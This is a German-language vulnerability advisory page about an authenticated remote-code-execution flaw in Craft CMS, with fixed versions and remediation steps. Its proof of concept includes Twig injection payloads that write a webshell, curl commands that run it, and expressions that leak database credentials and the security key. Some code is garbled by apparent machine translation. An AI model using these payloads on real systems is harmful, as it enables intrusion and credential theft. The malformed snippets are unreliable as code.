Zum Inhalt springen
← Zurück zum Cyberlagebild
Zuletzt aktualisiert 25.08.2026 10:36

Authenticated RCE via "craft.app.fs.write()" in Twig Templates

CVSS 9.41 Quelle

Beschreibung

## Zusammenfassung Ein authentifizierter Administrator kann Remote Code Execution (RCE) erreichen, indem er eine Server-Side Template Injection (SSTI)-Nutzlast in Twig-Vorlagenfelder (z. B. E-Mail-Vorlagen) einfügt. Durch den Aufruf der Methode `craft.app.fs.write()` kann ein Angreifer ein bösartiges PHP-Skript in ein webzugängliches Verzeichnis schreiben und anschließend über den Browser darauf zugreifen, um beliebige Systembefehle auszuführen. --- ## Proof of Concept ### Attack Prerequisites - Authentifiziertes Administratorkonto mit aktiviertem `allowAdminChanges` oder Zugriff auf das Dienstprogramm Systemnachrichten ### Schritte zum Reproduzieren 1. Navigieren Sie zu **Utilities → System Messages** (`/admin/utilities/system-messages`) 2. Bearbeiten Sie eine E-Mail-Vorlage (z. B. "E-Mail testen") und fügen Sie Folgendes in den Textkörper (oder das Subjekt) ein: - Um es auszunutzen, indem Sie in ein Dateisystem schreiben: - **Hinweis:** Ersetzen Sie das Dateisystemhandle (z. B. "hardDisk") durch ein gültiges Handle, das in der Zielinstallation konfiguriert ist. ```twig {{craft.app.fs.getFilesystemByHandle('hardDisk'))write('shell.php', ''') }} ``` - Um es auszunutzen, indem man in ein Volumen schreibt: - **Hinweis:** Ersetzen Sie den Volumengriff (z. B. "Bilder") durch einen gültigen Griff, der in der Zielinstallation konfiguriert ist. ```twig {{craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', ''') }} ``` Save & go to **Settings → Email** (`/admin/settings/email`) 4. Click **"Test"** at the bottom of the page to trigger template rendering 5. Die Webshell wird nun in das Dateisystem/Volume geschrieben. Zugriff per Curl oder direkt aus dem Browser: **Hinweis:** Der Pfad kann an Ihrem Ende je nach Dateisystem oder Volumenkonfiguration unterschiedlich sein. ``bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) `` --- ## Additional Impact Die gleiche "craft.app"-Belichtung ohne Sicherheitsmaßnahmen ermöglicht zusätzliche Angriffsvektoren: ### Database Credential Disclosure Database-Anmeldeinformationen werden in ".env" außerhalb des Webroot gespeichert und sind für Administratoren über die Benutzeroberfläche nicht zugänglich. Dadurch wird dieser Schutz umgangen. ```twig {{craft.app.db.username }} {{craft.app.db.dsn }} {{craft.app.db.dsn }} ``### Security Key Disclosure Craft löscht den Sicherheitsschlüssel explizit aus phpinfo und Fehlerprotokollen und gibt an, dass er geschützt sein sollte. "craft.app.config.general.securityKey" umgeht diesen Schutz jedoch. ```twig {{craft.app.config.general.securityKey }} ``` ## Recommended Fix - **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, und ähnliche destruktive Methoden - **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the whole application ## Referenzen https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

HerstellerPixel & Tonic
ProduktCraft CMS
ProduktfamilieCraft Cms
Betroffene Versionen>= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1
Behobene Versionen4.17.0, 5.9.0

Quellen & weiterführende Informationen

Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.

Was ist zur Behebung zu tun?

Auf eine behobene Version aktualisieren: 4.17.0, 5.9.0.

PrioritätRot
EinordnungSofort behandeln: kritisch oder aktiv ausgenutzt/KEV-relevant.

Empfohlene Schritte

  • Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
  • Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
  • Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
  • Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.

Übergangsmaßnahmen

  • Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
  • WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
  • Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
  • Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.